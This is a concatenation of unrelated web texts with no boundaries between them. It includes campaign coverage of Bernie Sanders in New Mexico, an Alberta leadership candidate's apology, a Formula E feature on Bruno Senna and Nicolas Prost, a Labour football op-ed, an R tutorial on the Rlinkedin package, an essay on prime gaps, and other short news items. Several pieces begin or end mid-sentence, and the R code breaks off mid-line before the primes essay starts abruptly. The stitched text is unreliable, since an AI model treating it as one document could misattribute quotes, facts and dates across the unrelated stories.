Sanders invoked New Mexico's high rates of poverty and its last-place ranking among states for high school graduation rates as a call for political action, while condemning the corrosive influence of billionaires — including Donald Trump — on politics.
"New Mexico wants a government that represents all of us, not just the 1 percent," Sanders said.
Jubilant supporters, from grade-schoolers to octogenarians, expressed admiration for the candidate. More than a few wore custom Bernie Sanders tie-dye shirts.
"Whether he wins or loses isn't as important," said Gary Oakley, 53, of Santa Fe, a professional artist. "It's just to let him know that we're behind him."
Sanders' next stop was Albuquerque for a rally Friday night. On Saturday, he'll visit the town of Vado, not far from where the borders of New Mexico, Texas and Mexico intersect.
Sanders and Hillary Clinton are chasing a share of New Mexico's 43 delegate votes. Five out of nine state superdelegates have expressed their commitment to Clinton, with the remainder uncommitted.
Sanders is coming off a primary victory Tuesday in Oregon and a near tie in Kentucky, but he still has no clear path to victory in the delegate count.
The Vermont senator is the first presidential candidate to visit New Mexico. Donald Trump on Thursday announced plans to visit early next week, overlapping with a scheduled visit by Bill Clinton to campaign on behalf of his wife in the cities of Española and later Albuquerque.
The state is shaping up as a proving ground for appeal to Hispanic voters. Over 45 percent of New Mexico residents identify themselves as Hispanic or Latino — a higher percentage than non-Hispanic whites.
In Santa Fe, Sanders took Trump to task for supporting mass deportations of immigrants living in the country illegally.
"I believe we have got to end this Donald Trump rhetoric of someone rounding up 11 million people," he said. "That kind of hatred and bigotry has got to end."
Albuquerque-based pollster Brian Sanderoff says at least half of Democratic primary voters in the state will be Hispanic, a demographic where Hillary appears to hold an edge.
On Saturday, former Interior Sec. Ken Salazar plans to tour the heavily Democratic northern end of the state for an initiative dubbed "Hispanics for Hillary."
State Sen. Jerry Ortiz y Pino, D-Albuquerque, is helping Sanders drum up support among Latinos but acknowledges it's an uphill climb.
"I think they're getting more and more curious about Sanders," he said. "He comes from such a small New England state with such a tiny Hispanic population. People just don't know his name."
Beyond New Mexico, the tone in both Democratic campaigns has grown more acrimonious after last weekend's fracas at the Nevada Democratic Convention. A group of Sanders supporters lashed out over rules they claimed favored Clinton by shouting obscenities, brandishing chairs and threatening the state party chairwoman.
Sanders has defiantly asserted since then that his supporters were treated unfairly, as he has sharpened his critique of the Democratic Party and Clinton's reliance on wealthy donors.
In Santa Fe, the two Democratic presidential campaigns work out of the same brown adobe union hall, with volunteers gathering at night to dial up potential voters.
"We have agreed to co-exist respectfully and courteously with each other," said Susan Popovich, the Sandersoffice manager and retired union organizer for the California Teachers Association.
Susan Montoya Bryan contributed to this report from Albuquerque.
People gather at the Albuquerque Convention Center for a rally with Democratic presidential candidate Bernie Sanders, upper left, in Albuquerque, N.M., on Friday, May 20, 2016. (Photo: Susan Montoya Bryan/The Associated Press)
Read or Share this story: http://lcsun.co/1Tt38QvAlberta Tory leadership candidate Thomas Lukaszuk apologized Monday for ringing up more than $20,000 in international data roaming charges on one trip.
But he also questioned why the two-year-old information was leaked to the Edmonton Sun newspaper less than two weeks before Progressive Conservative party members vote for a new leader and premier.
"I have nothing to hide. This bill was not hidden," Mr. Lukaszuk told reporters after a speech to the Edmonton Chamber of Commerce. "It was in a public venue. Anybody could have accessed it.
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"The fact that somebody purposely highlighted it at this point in time obviously is a reputational issue."
Mr. Lukaszuk also issued a statement that said he "absolutely" made a mistake "and for that I apologize."
He said he was on a personal trip to Poland and Israel in October, 2012, as a guest of the Simon Wiesenthal Centre's "compassion to action" program. He was deputy premier at the time and a government legal case needed his attention, he said.
"There were a lot of long conversations and proceedings with lawyers and the courts," Mr. Lukaszuk said in the statement. "The case itself is under a court-ordered publication ban, so it is against the law for me to provide details. A letter from the legal firm confirms that it was a government case.
"Suffice it to say that government faced an issue, it needed to be dealt with, and it was."
The New Democrats suggested it's just more of the same from the Conservatives. Critic Deron Bilous said Mr. Lukaszuk is not immune to the sense of entitlement that led to former premier Alison Redford's ouster.
"This is a person who says he's different, and new, and going to bring accountability to government. Well, actions speak louder than words," Mr. Bilous said.Each year on 21 March, the motor racing family remembers one of its greatest sons. The birthday of Ayrton Senna, the most exciting, intriguing and possibly the greatest Formula 1 driver of all-time taken from us too soon, triggers a flood of tributes, videos and memories on the internet to celebrate the Brazilian’s life.
26 years on from his historic battle with Alain Prost – team-mate, rival and fellow legend – fans still share their memories of the on-track tussles that culminated in two infamous collisions at Suzuka that would define their generation.
But the battle is not done. The names of Prost and Senna may have departed F1, but they are alive and well in the rapidly emerging Formula E, the all-electric single-seater class that can boast FIA backing and carbon-free races.
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Bruno Senna, the former HRT, Renault and Williams F1 driver and nephew of the late Ayrton, is one of those currently developing the future of motorsport in Formula E alongside Nicolas Prost, son of the four-time world champion Alain.
While their names go before them, the pair have forged a rivalry of their own having come through the lower formulas together. Both currently split their time between Formula E and the World Endurance Championship, and as Prost says, it’s still special when the two come together on the track.
“Maybe with Bruno,” Prost tells the Independent when asked about his rivalry with second-generation drivers. “With Nelson [Piquet Jr] it's a bit different, our parents were really good friends. With Bruno, obviously the big fight with his uncle is always there, and also he has the same helmet [as Ayrton].
“He's a good friend, I really like him but when I see the helmet down the pit lane I always get goosebumps.
“We've been competing now against each other in the past so not so much anymore, but it's just his helmet down the pit lane, it's always quite strange and special.”
For Senna, who embraces the same South American passion for motorsport that made his uncle a household favourite the world over, the feeling is mutual.
“It's always nice to say I overtook Nico, or I beat Nico or Nelson, but ultimately when you see the level of the grid, everybody is your enemy,” says Senna. “You're fighting hard with all the guys here and the level is really, really high in this championship. Anyone you overtake you think 'yeah that was good', that's how it goes.”
The Formula E championship head to Long Beach, California, next weekend off the back of a hugely successful debut in Mexico City, in which over 33,000 turned out at the Autodromo Hermanos Rodriguez – scene of last year’s triumphant return of F1 – to watch an exciting and dramatic race that was eventually won by Jerome D’Ambrosio after original race winner Lucas Di Grassi – both of whom are F1 alumni – was disqualified for his car being underweight.
Formula E is glamorous, people watch the race in places like Miami - you get the beach, the sea, everything
Senna felt at home in the Mexican capital, despite illness hampering his preparation for the fifth round of the championship, and the roar that went up when his name was read out in the emphatic stadium section left it in no doubt who the locals were cheering on.
“Well it's interesting, we have to wait and see but ultimately the Mexicans are really passionate about racing,” Senna adds. “I saw it with the Formula One race, it was amazing how many people were here and I think if we get a bit of that momentum from the Formula One race I'm sure it's going to be pretty fun here.
“This track has been here since the sixties and I think for the last 25 years or so when the big events didn't come to Mexico anymore they missed it, and then they finally did a great job resurfacing the circuit and making it more suitable for the big leagues because ultimately the track was a bit on the dangerous side and they improved it.”
Of course, Formula E cannot be watched without comparisons being drawn to its elder brother, despite CEO Alejandro Agag admitting that he “loves” F1 and believes it will never be rivalled for its berth as the pinnacle of the four-wheel world.
But what Formula E can offer is something different. Championship that takes place in the heart of some of the most glorious and beautiful cities in the world, one that is sustainable and that captures the imagination of the fans even if they leave with their ear drums intact given the relative silence of the cars.
“It's just back to Formula 3 where everyone has more or less the same car and you fight, it's really nice,” explains Prost. “There's little difference between the drivers and the teams and it's really good, I enjoy fighting when racing.
“It's a great atmosphere. You're always in the middle of the city, I really like the atmosphere. I think Formula E is glamorous, people watch the race in places like Miami - you get the beach, the sea, everything.
“Miami is a great name. I love the whole thing, in the end you like cars, you like girls, sun, palm trees so it's nicer to watch as opposed to the middle of nowhere in the rain you know. It's a bit like Monaco every weekend.”
The glamour will come to a culmination on the slightly less dazzling streets of Battersea though, with London set to host the final double-round ePrix in July. Before then, Paris will make its Formula E bow, and Agag has already identified Brazil as a potential destination for next year’s championship. With such plans in place, Formula E is here to stay, and with names such as Senna and Prost in the mix, streets the world over are set to be electrified like never before.
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As signings go it didn’t make the back pages of the papers.
But when Bury bought me from Winsford United for the princely sum of £6,000 37 years ago, I was on my way.
During my teenage years I worked as a binman, waiter and hod carrier. But they were just jobs to subsidise my love of the game, keeping me going so I could continue to play football. To finally get paid for doing something I love was a huge bonus.
But the Beautiful Game has started to lose its looks.
The billions from Sky and other broadcasters may have transformed the English game and made the Premier League a global brand.
It may have tempted some of the most talented players to our shores.
(Image: PA)
But clubs outside the top flight didn’t share the wealth.
And fans didn’t get the best of deals either.
That’s why I’m fully behind Labour’s plans to deliver a better deal for clubs and fans alike.
Corbyn will ensure 5% of the Premier League’s domestic and international television rights income goes to the grassroots game.
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This will make an enormous contribution to helping the next generation of players and coaches by drastically improving facilities and pitches.
Labour will also work with train operating companies, broadcasters and clubs to develop a new ‘Flexible Football Ticket’ so when games are switched at short notice, fans won’t have to fork out again for new train tickets.
(Image: Daily Mirror)
Takeovers can be the start of an exciting new futures for clubs, but sometimes they can go wrong. Corbyn will put fans at the heart of their clubs by giving accredited supporters trusts the power to appoint and remove at least two club directors and purchase shares when clubs change hands.
Labour also plans to fix the broken ticketing market. Too often fans are shut out as professional ticket touts buy up thousands of match tickets and sell them on at huge prices. Labour will make sure there are fair opportunities for fans to buy tickets.
And a Corbyn Government will make sure stadiums are accessible for disabled fans. Labour will speed up accessibility improvements to make sure everyone can attend matches and support their teams.
I might have been a Blue Nose all my life.
But on June 8 I’ll be a die-hard red. I’ll be backing the man who wants to make the Game Beautiful again.
A game that can be enjoyed by the many not the few.Some time ago I saw an interesting post in a R related group on LinkedIn. It was from Michael Piccirilli and he wrote something about his new package Rlinkedin. I was really impressed by his work and so I decided to write a blog post about it.
Get the package
The package is currently just available via GitHub. But thanks to devtools it is not a problem to install it.
require(devtools) install_github("mpiccirilli/Rlinkedin") require(Rlinkedin) 1 2 3 4 5 require ( devtools ) install_github ( "mpiccirilli/Rlinkedin" ) require ( Rlinkedin )
Authenticate with LinkedIn
In the next step we have to connect to the LinkedIn API via oAuth 2.0. You have two possibilities in the Rlinkedin package.
You can just use
in.auth <- inOAuth() 1 in. auth < - inOAuth ( )
to use a default API key for getting LinkedIn data.
Or:
You can use your own application and application credentials to connect to the API.
Therefore you have to create an application on LinkedIn. Go on https://www.linkedin.com/secure/developer and log in with your LinkedIn account. Then click on “Add new Application”.
On the next page you can see app settings. Just set them as you can see on the following screenshots:
Then click on “Add application” and you get forwarded to your app´s credentials. Switch back to R and set the following variables:
app_name <- "XXX" consumer_key <- "XXX" consumer_secret <- "XXX" 1 2 3 app_name < - "XXX" consumer_key < - "XXX" consumer_secret < - "XXX"
Then you can authenticate with:
in.auth <- inOAuth(app_name, consumer_key, consumer_secret) 1 in. auth < - inOAuth ( app_name, consumer_key, consumer_secret )
After a successful authentication you start to get some data.
Analyze LinkedIn with R
Michael created a nice overview of the different functions on the package´s GitHub page. So I will just show you here a small sample analysis.
First, lets download all your connections with:
my.connections <- getMyConnections(in.auth) 1 my. connections < - getMyConnections ( in. auth )
This creates a data frame with all available information about your connections. For our analysis we will get the column “industry” which is the industry the person is working in. We will use it to create a small word cloud.
text <- toString(my.connections$industry) 1 text < - toString ( my. connections $ industry )
We will then transform this text with some standard word cloud to a nice looking industry overview:
clean.text <- function(some_txt) { some_txt = gsub("(RT|via)((?:\\b\\W*@\\w+)+)", "", some_txt) some_txt = gsub("@\\w+", "", some_txt) some_txt = gsub("[[:punct:]]", "", some_txt) some_txt = gsub("[[:digit:]]", "", some_txt) some_txt = gsub("http\\w+", "", some_txt) some_txt = gsub("[ \t]{2,}", "", some_txt) some_txt = gsub("^\\s+|\\s+$", "", some_txt) some_txt = gsub("amp", "", some_txt) # define "tolower error handling" function try.tolower = function(x) { y = NA try_error = tryCatch(tolower(x), error=function(e) e) if (!inherits(try_error, "error")) y = tolower(x) return(y) } some_txt = sapply(some_txt, try.tolower) some_txt = some_txt[some_txt!= ""] names(some_txt) = NULL return(some |
. For instance, 60 is made up of two 2s, one 3, and one 5. (This is why we don’t take 1 to be a prime, though some mathematicians have done so in the past; it breaks the uniqueness, because if 1 counts as prime, 60 could be written as 2 x 2 x 3 x 5 and 1 x 2 x 2 x 3 x 5 and 1 x 1 x 2 x 2 x 3 x 5 …)
The primes are the atoms of number theory, the basic indivisible entities of which all numbers are made. As such, they’ve been the object of intense study ever since number theory started. One of the very first theorems in number theory is that of Euclid, which tells us that the primes are infinite in number; we will never run out, no matter how far along the number line we let our minds range.
But mathematicians are greedy types, not inclined to be satisfied with mere assertion of infinitude. After all, there’s infinite and then there’s infinite. There are infinitely many powers of 2, but they’re very rare. Among the first 1,000 numbers, there are only 10 powers of 2: 1, 2, 4, 8, 16, 32, 64, 128, 256, and 512.
There are infinitely many even numbers, too, but they’re much more common: exactly 500 out of the first 1,000. In fact, it’s pretty apparent that out of the first X numbers, just about (1/2)X will be even.
Primes, it turns out, are intermediate—more common than the powers of 2 but rarer than even numbers. Among the first X numbers, about X/log(X) are prime; this is the Prime Number Theorem, proven at the end of the 19th century by Hadamard and de la Vallée Poussin. This means, in particular, that prime numbers get less and less common as the numbers get bigger, though the decrease is very slow; a random number with 20 digits is half as likely to be prime as a random number with 10 digits.
Naturally, one imagines that the more common a certain type of number, the smaller the gaps between instances of that type of number. If you’re looking at an even number, you never have to travel farther than 2 numbers forward to encounter the next even; in fact, the gaps between the even numbers are always exactly of size 2. For the powers of 2, it’s a different story. The gaps between successive powers of 2 grow exponentially, and there are finitely many gaps of any given size; once you get past 16, for instance, you will never again see two powers of 2 separated by a gap of size 15 or less.
Those two problems are easy, but the question of gaps between consecutive primes is harder. It’s so hard that, even after Zhang’s breakthrough, it remains a mystery in many respects.
And yet we think we know what to expect, thanks to a remarkably fruitful point of view—we think of primes as random numbers. The reason the fruitfulness of this viewpoint is so remarkable is that the viewpoint is so very, very false. Primes are not random! Nothing about them is arbitrary or subject to chance. Quite the opposite—we take them as immutable features of the universe, and carve them on the golden records we shoot out into interstellar space to prove to the ETs that we’re no dopes.
If you start thinking really hard about what “random” really means, first you get a little nauseated, and a little after that you find you’re doing analytic philosophy. So let’s not go down that road.
Instead, take the mathematician’s path. The primes are not random, but it turns out that in many ways they act as if they were. For example, when you divide a random number by 3, the remainder is either 0, 1, or 2, and each case arises equally often. When you divide a big prime number by 3, the quotient can’t come out even; otherwise, the so-called prime would be divisible by 3, which would mean it wasn’t really a prime at all. But an old theorem of Dirichlet tells us that remainder 1 shows up about equally often as remainder 2, just as is the case for random numbers. So as far as “remainder modulo 3” goes, prime numbers, apart from not being multiples of 3, look random.
What about the gaps between consecutive primes? You might think that, because prime numbers get rarer and rarer as numbers get bigger, that they also get farther and farther apart. On average, that’s indeed the case. But what Yitang Zhang just proved is that there are infinitely many pairs of primes that differ by at most 70,000,000. In other words, that the gap between one prime and the next is bounded by 70,000,000 infinitely often—thus, the “bounded gaps” conjecture.
On first glance, this might seem a miraculous phenomenon. If the primes are tending to be farther and farther apart, what’s causing there to be so many pairs that are close together? Is it some kind of prime gravity?
Nothing of the kind. If you strew numbers at random, it’s very likely that some pairs will, by chance, land very close together. (The left-hand picture on this page is a nice illustration of how this works in the plane; the points are chosen independently and completely randomly, but you see some clumps and clusters all the same.)
It’s not hard to compute that, if prime numbers behaved like random numbers, you’d see precisely the behavior that Zhang demonstrated. Even more: You’d expect to see infinitely many pairs of primes that are separated by only 2, as the twin primes conjecture claims.
(The one computation in this article follows. If you’re not onboard, avert your eyes and rejoin the text where it says “And a lot of twin primes …”)
Among the first N numbers, about N/log N of them are primes. If these were distributed randomly, each number n would have a 1/log N chance of being prime. The chance that n and n+2 are both prime should thus be about (1/log N)^2. So how many pairs of primes separated by 2 should we expect to see? There are about N pairs (n, n+2) in the range of interest, and each one has a (1/log N)^2 chance of being a twin prime, so one should expect to find about N/(log N)^2 twin primes in the interval.
There are some deviations from pure randomness whose small effects number theorists know how to handle; a more refined analysis taking these into account suggests that the number of twin primes should in fact be about 32 percent greater than N/(log N)^2. This better approximation gives a prediction that the number of twin primes less than a quadrillion should be about 1.1 trillion; the actual figure is 1,177,209,242,304. That’s a lot of twin primes.
And a lot of twin primes is exactly what number theorists expect to find no matter how big the numbers get—not because we think there’s a deep, miraculous structure hidden in the primes, but precisely because we don’t think so. We expect the primes to be tossed around at random like dirt. If the twin primes conjecture were false, that would be a miracle, requiring that some hitherto unknown force be pushing the primes apart.
Not to pull back the curtain too much, but a lot of famous conjectures in number theory are like this. The Goldbach conjecture that every even number is the sum of two primes? The ABC conjecture, for which Shin Mochizuki controversially claimed a proof last fall? The conjecture that the primes contain arbitrarily long arithmetic progressions, whose resolution by Ben Green and Terry Tao in 2004 helped win Tao a Fields Medal? All are immensely difficult, but they are all exactly what one is guided to believe by the example of random numbers.
It’s one thing to know what to expect and quite another to prove one’s expectation is correct. Despite the apparent simplicity of the bounded gaps conjecture, Zhang’s proof requires some of the deepest theorems of modern mathematics, like Pierre Deligne’s results relating averages of number-theoretic functions with the geometry of high-dimensional spaces. (More classically minded analytic number theorists are already wondering whether Zhang’s proof can be modified to avoid such abstruse stuff.)
Building on the work of many predecessors, Zhang is able to show in a rather precise sense that the prime numbers look random in the first way we mentioned, concerning the remainders obtained after division by many different integers. From this (following a path laid out by Goldston, Pintz, and Yıldırım, the last people to make any progress on prime gaps) he can show that the prime numbers look random in a totally different sense, having to do with the sizes of the gaps between them. Random is random!
Zhang’s success (along with the work of Green and Tao) points to a prospect even more exciting than any individual result about primes—that we might, in the end, be on our way to developing a richer theory of randomness. How wonderfully paradoxical: What helps us break down the final mysteries about prime numbers may be new mathematical ideas that structure the concept of structurelessness itself.
(A few suggestions for further reading for those with more technical tastes: Number theorist Emmanuel Kowalski offers a first report on Zhang’s paper. And here’s Terry Tao on the dichotomy between structure and randomness.)Relating her story of how she can walk again, Amanda Boxtel keeps Cottage Rehabilitation Hospital audience at rapt attention
After a skiing accident left her paralyzed from the waist down, Amanda Boxtel was told she would never walk again. Refusing to surrender, she set out to prove to her doctors — and to herself — that she could overcome her fate.
The journey took her nearly 20 years, but thanks to an artificially intelligent bionic device, she was able to achieve her improbable goal. On Sunday, she shared her extraordinary story as part of Cottage Rehabilitation Hospital's Empowerment through Medical Rehabilitation series at Fess Parker’s DoubleTree Resort.
Boxtel was skiing in Aspen, Colo., in 1992 when she took her life-altering fall and found herself paralyzed.
“I was 22 years old," the native of Brisbane, Australia, told the audience. "I was an aerobics instructor. I was a dancer. I was an athlete.
"Then, all of a sudden, all of that changed in a split second.”
A few weeks after the accident, a young doctor came to her hospital room to deliver the news.
“'Amanda, you will never walk again',” Boxtel recalled him telling her. “But in that moment, I decided to prove him wrong.”
Boxtel asked the audience members to steady their feet on the ground and hold their hands straight forward. To demonstrate what it’s like to be paralyzed, she asked everyone to try to move their hands and feet only with their thoughts. Nobody could.
“Surrender your mind to only the thought of moving," she explained. "All you have is the memory of how it was."
Boxtel described paralysis as a cold injury. It’s a loss of sensation but it also means having to deal with psychological issues. She said it took her several weeks to fully understand what the doctor had told her.
But although she couldn’t walk, Boxtel was determined to keep living a rich and full life. As proof, she played a video of all the activities she did before the accident. She’s skiing, bicycling, skydiving and dancing.
After fast-forwarding to after the accident, the video shows Boxtel still skiing, bicycling, skydiving and dancing. She’s living a fully active life with the help of physical means.
“I could still live a magical life,” Boxtel said. “But there was still one thing I couldn’t do, that wasn’t invented yet. Walk.”
For many years, she tried a lot of different physical therapy regimens and was able to regain some movement, but no method could help her walk again. Eventually, she started to imagine some type of robot.
In July 2010, Boxtel finally proved her doctor wrong. Berkeley Bionics, now Ekso Bionics, had developed a new exoskeleton called eLEGS, an artificially intelligent bionic device. With the help of a 5-foot-7-inch frame, she was able to walk almost naturally for the first time in 18 years.
“To be able to take one step and then another, and to make it feel normal in my head... It was amazing,” Boxtel said. “I’m able to walk with these legs, on the ground and in alignment.”
Taking her first steps in a long time wasn’t easy, and Boxtel said she had to relearn "Walking 101." As she spoke, the atmosphere in the hotel meeting room changed when Boxtel moved from her wheelchair to her eLEGS. Everyone watched quietly as she took a few steps, and then stood on her own.
“It’s a great reversal because I’m standing and you’re all sitting down,” she said with a smile.
In 1995, Boxtel co-founded Challenge Aspen, a nonprofit organization that assists adaptive athletes in reaching their athletic goals. She wanted to set herself free again by returning to the sport that took away the use of her legs.
“I feel as I stand here in front of you, I’m walking for you," she said. "I’m walking for my mother, for my sister, for my friends. I’m walking for everyone who shares the same dream as me."
Wiht help from her physical therapist, Boxtel is able to use her eLEGS for one hour a day, five days a week. She’s the first person in the United States to own her own.
“I just want to say to everyone in a wheelchair, ‘prepare your bodies to walk, cause now we can’,” she exclaimed.
Sunday's presentation, ”Enhancing Mobility with Bionic Technology,” was sponsored by the Cottage Rehabilitation Hospital Foundation. Each year, the foundation sponsors a public presentation by exceptional people on topics concerning medical rehabilitation and its empowering effects on the lives of people with disabilities.
Click here for more information on Cottage Rehabilitation Hospital, or call 805.687.7444.
— Noozhawk intern Emma Hermansson can be reached at [email protected]. Follow Noozhawk on Twitter: @noozhawk, @NoozhawkNews and @NoozhawkBiz. Connect with Noozhawk on Facebook.The Omega Force Teaser Is Starting To Look A Lot More Like A Berserk Musou
By Sato. June 10, 2016. 3:00am
Omega Force teased earlier this week that they’re working on the “most brutal title” in Musou (or Warriors) history, and the teaser site has updated, making us think that it could possibly be a Berserk Musou. [Thanks, Game Jouhou.]
The main change is that the “ω” in the ω-Force logo is now bleeding on the teaser site. While this might not scream out Berserk, it’s worth noting that the black and red image color is something that’s also being used on the official website for the upcoming Berserk anime that is scheduled to begin airing in July.
The bleeding ω also looks a lot like what’s shown in the above image with the Brand of Sacrifice that is carved into Guts from Berserk.
In any case, we have three more days until the teaser site makes its official reveal.Image copyright Getty Images Image caption Prince Harry was joined by Barack Obama, and Joe and Jill Biden, for the penultimate day of the Invictus Games
Barack Obama has joined Prince Harry to spring a surprise on the penultimate day of the Invictus Games in Toronto.
The former US president and the prince visited the US wheelchair basketball team, all former US service personnel, just before their match against France.
Then the pair, accompanied by former vice president Joe Biden and his wife Jill, watched the team win 28-6.
The Invictus Games - for injured servicemen and servicewomen - was set up by Prince Harry in 2014.
Image copyright Getty Images Image caption Toronto hosted the third Invictus Games - the first was held in 2014 in London
The prince was accompanied by US First Lady Melania Trump at the opening ceremony last week, while he also made his first public appearance with his girlfriend Meghan Markle.
Mr Obama has met Prince Harry a number of times - their first meeting was in the US in 2015, while they had dinner together at Kensington Palace in April 2016.
Prince Harry started the Invictus Games as a way of helping wounded service personnel and veterans with their physical and psychological rehabilitation.
Teams from 17 nations, made up of over 500 participants, have taken part during the week-long event in Canada.
Image copyright Getty Images Image caption The US wheelchair basketball team met Jill and Joe Biden, Prince Harry and Barack Obama before their 28-6 win over France
Image copyright PA Image caption Prince Harry has also met Michelle Obama through his work with the Invictus GamesNight of the Living Dead
Year: 1968 1968 Pittsburgh location: Evans City Cemetery, Butler County Point it appears in the movie: 1:50 Carnegie Mellon University graduate George A. Romero's zombie flick is a horror movie classic The film was shot in and around Evans City, Butler County, about 30 minutes north of Pittsburgh. Visit: While the farmhouse where leading man Ben (Duane Jones) and company take refuge from the zombies is no longer standing, the nearby cemetery is still open to the public. Head out of Evans City south on Franklin Road to get there.
The Silence of the Lambs
Year: 1991 1991 Pittsburgh location: Soldiers & Sailors Memorial Hall & Museum's Grand Ballroom Point it appears in the movie: 1:04:45 This is perhaps the most critically acclaimed film to be shot partially in Pittsburgh, winning five Academy Awards. FBI trainee Clarice Starling (Jodie Foster) tries to get imprisoned serial killer Hannibal Lecter (Anthony Hopkins) to help identify another serial killer. Soldiers & Sailors stands in for the courthouse where Lecter is being held. Visit: Soldiers & Sailors, 4141 Fifth Ave., Oakland, is open 10 a.m. to 4 p.m. Monday through Saturday. Cost is $8 for adults, $5 for children 5 to 13 or adults 60 or older.
Lorenzo's Oil
Year: 1993 1993 Pittsburgh location: Heinz Chapel Point it appears in the movie: 11:50 This medical drama is based on the real-life story of a couple (Nick Nolte and Susan Sarandon) who seek a cure for their son's rare genetic disorder. Perhaps the most noteworthy Pittsburgh moment comes when the couple attend nighttime Mass at Heinz Chapel. Visit: Heinz Chapel, Bellefield and Fifth avenues, is open 8:30 a.m. to 5 p.m. Monday through Friday, 12 p.m. to 5 p.m. Sunday. Admission is free.
Striking Distance
Year: 1993 1993 Pittsburgh location: Point State Park Point it appears in the movie: 56:45 Bruce Willis stars in this mystery crime story as Det. Tom Hardy, a cop trying to find the killer of his father. One scene of special local note takes place at Point State Park, where the movie showcases a policemen's ball. Visit: Free.
Dogma
Year: 1999 1999 Pittsburgh location: Former church at 130 Larimer Ave., East Liberty Point it appears in the movie: 1:40:53 This religious comedy is about an abortion clinic worker, Bethany (Linda Fiorentino), who must save humanity from two rogue angels, Loki and Bartelby (Ben Affleck and Matt Damon). A former Pittsburgh church is the setting of the movie's final fight scene. Visit: The building is for sale and closed to the public.
Inspector Gadget
Year: 1999 1999 Pittsburgh locations: PPG Place and Sixth Street Bridge Points they appear in the movie: 56:53 and 1:04:10 Disney's adaptation of the children's cartoon is loaded with special effects. Matthew Broderick plays the humanoid-robotic inspector, and Rupert Everett plays his arch-nemesis, Sanford Scolex. PPG Place serves as the villain's headquarters. The Sixth Street Bridge, since renamed the Roberto Clemente Bridge, is the backdrop for the final battle scene. Visit: Both sites are free.
Wonder Boys
Year: 2000 2000 Pittsburgh locations: Carnegie Mellon University campus, various others Points they appear in the movie: Throughout Curtis Hanson's quirky dramedy finds a professor (Michael Douglas) struggling to complete the follow-up to his acclaimed first novel while mentoring a troubled student (Tobey Maguire) and struggling with his tumultuous personal life. Visit: CMU is at the corner of Forbes and Morewood avenues, Oakland.
She's Out of My League
Year: 2010 2010 Pittsburgh locations: Market Square Point it appears in the movie: 28:48 The romantic comedy is about a timid TSA agent (Jay Baruchel) who catches the eye of the beautiful Molly (Alice Eve). Market Square is the scene of their first date. Visit: Forbes Avenue and Market Square. Free.
Abduction
Year: 2011 2011 Pittsburgh locations: PNC Park Point it appears in the movie: 1:23:11 This action film stars Taylor Lautner as the son of slain secret agents. The climatic scenes take place at PNC Park. Visit: PNC Park is at 115 Federal St. Walk around for free or catch a game. Ticket prices vary.
The Dark Knight RisesNine potential cases of fraud out of almost 2,000 applications to Stormont's botched energy scheme have been uncovered to date.
Energy watchdog Ofgem confirmed that its counter fraud team was looking at nine cases involving potential suspected fraud relating to the Northern Ireland Renewable Heat Incentive scheme.
The botched scheme is set to cost Northern Ireland’s taxpayers an extra £490m after it went vastly over budget.
The nine cases of potential fraud being investigated by Ofgem range in cost from £48,000 to £2.5 million.
Ofgem has been carrying out site visits in a bid to identify fraudulent behaviour.
The watchdog insisted it took a "zero tolerance approach to fraud".
A spokesman said: "Our counter fraud team is looking at nine cases involving potential suspected fraud relating to the Northern Ireland RHI.
"We have robust systems in place to monitor compliance with the scheme regulations, including site inspections, and take a zero tolerance approach to fraud.
"Our dedicated counter fraud team works to prevent, deter and detect fraud across the schemes we administer on behalf of the government and investigates all instances of suspected fraud, including acting upon referrals from third parties.
"Where appropriate we refer such cases to the police through Action Fraud."
Ofgem has not yet referred any cases to the Police Service of Northern Ireland.
The PSNI has already said that it is in contact with Ofgem and the Department for the Economy over the referral of suspected fraud cases at the earliest opportunity.
PSNI Detective Chief Superintendent Tim Mairs said: "To date, both bodies have confirmed to me that they have not identified any cases meeting this criteria."
The RHI scheme was intended to increase the creation of heat from renewable sources.
However, businesses have been receiving more in subsidies than they are paying for renewable fuel and the scheme became heavily oversubscribed.
The fallout from the scandal surrounding the scheme resulted in the resignation of Sinn Féin's deputy first minister, Martin McGuinness, the collapse of Stormont's institutions and the calling of snap elections on 2 March.
Retired appeal court judge Patrick Coghlin will chair a public inquiry into the botched energy scheme.NZ mine bodies unlikely to be recovered
Updated
The receiver for Pike River Coal says it is unlikely the remains of 29 men killed in the New Zealand mine disaster last year will ever be recovered.
Work will continue for between five and eight weeks to stabilise the gases in the site but there is no guarantee on the future of the mine.
Police last week said they were pulling out of the recovery operation and handing control of the mine back to the company and its receivers, a move that angered relatives of the deceased.
But documents released by the police show that a panel of mining experts advised that even a stable mine would not be safe enough to allow for a full recovery operation.
After the police announcement, prime minister John Key said the mine was too unsafe to enter and was likely to be sealed, but that a final decision rests with the receivers.
Today the receivers delivered their plans for the mine to the police, who briefed relatives at Greymouth.
Some of the relatives had been expecting an announcement the mine would be sealed.
Spokesman Bernie Monk had previously said the families would explore legal action to prevent that from happening.
He says it is important to get inside the mine, not just to recover any remains but to gather evidence for the coronial inquiry and royal commission.
Topics: disasters-and-accidents, mining-industry, workplace, emergency-incidents, new-zealand
First postedBy Miguel Rivera
Once WBC featherweight champion Gary Russell Jr. overcomes the upcoming defense against Colombian contender Oscar Escandon, he then plans to target all of the world champions at 126 - with a clear goal to unify the titles. Escandon, who holds the WBC's interim-belt, is the mandatory challenger.
Russell (27-1, 16 KOs) wants to get his hands on WBO champion Óscar Valdez, WBA'regular' champion Ábner Mares, IBF champion Lee Selby, and the winner of the upcoming WBA'super' title fight between Leo Santa Cruz and Carl Frampton.
Despite his lack of activity, Russell does not feel impatient, because in 2017 he intends to clean up the featherweight division before moving up in weight to invade the booming scene at 130 pounds.
"I feel like I'm the best 126 pounder in the world. The division is good, there are a lot of quality opponents, and everyone is giving 100 percent and pushing themselves to the limit. It's encouraging to know there are competitors out there," Russell said to ESPN Deportes.
"I think there are big things coming. I've been patient but important things are coming up. We can do unifications with Valdez, with Mares, Carl Frampton or Leo Santa Cruz - although I must take care of the mandatory fight I have with Óscar Escandon."
Regarding his plans for the future, Russell said he might focus on climbing up to 130 pounds as long as there are major bouts, but before that he wants to clean up the featherweight division and he still has no trouble making the weight.
"Eventually I'm going up to 130 pounds to chase the big fights, but first I want to dominate the [featherweight] division. I have no problem making 126 pounds, hard work always gives results and there are still a lot of fights that fans want to see."
Russell has been out of the ring since last April, when he knocked out Patryck Hyland in Connecticut in two rounds.Elise Amendola / AP Oprah Winfrey receives an honorary Doctor of Laws degree from Harvard University during commencement ceremonies in Cambridge, Mass., on May 30, 2013.
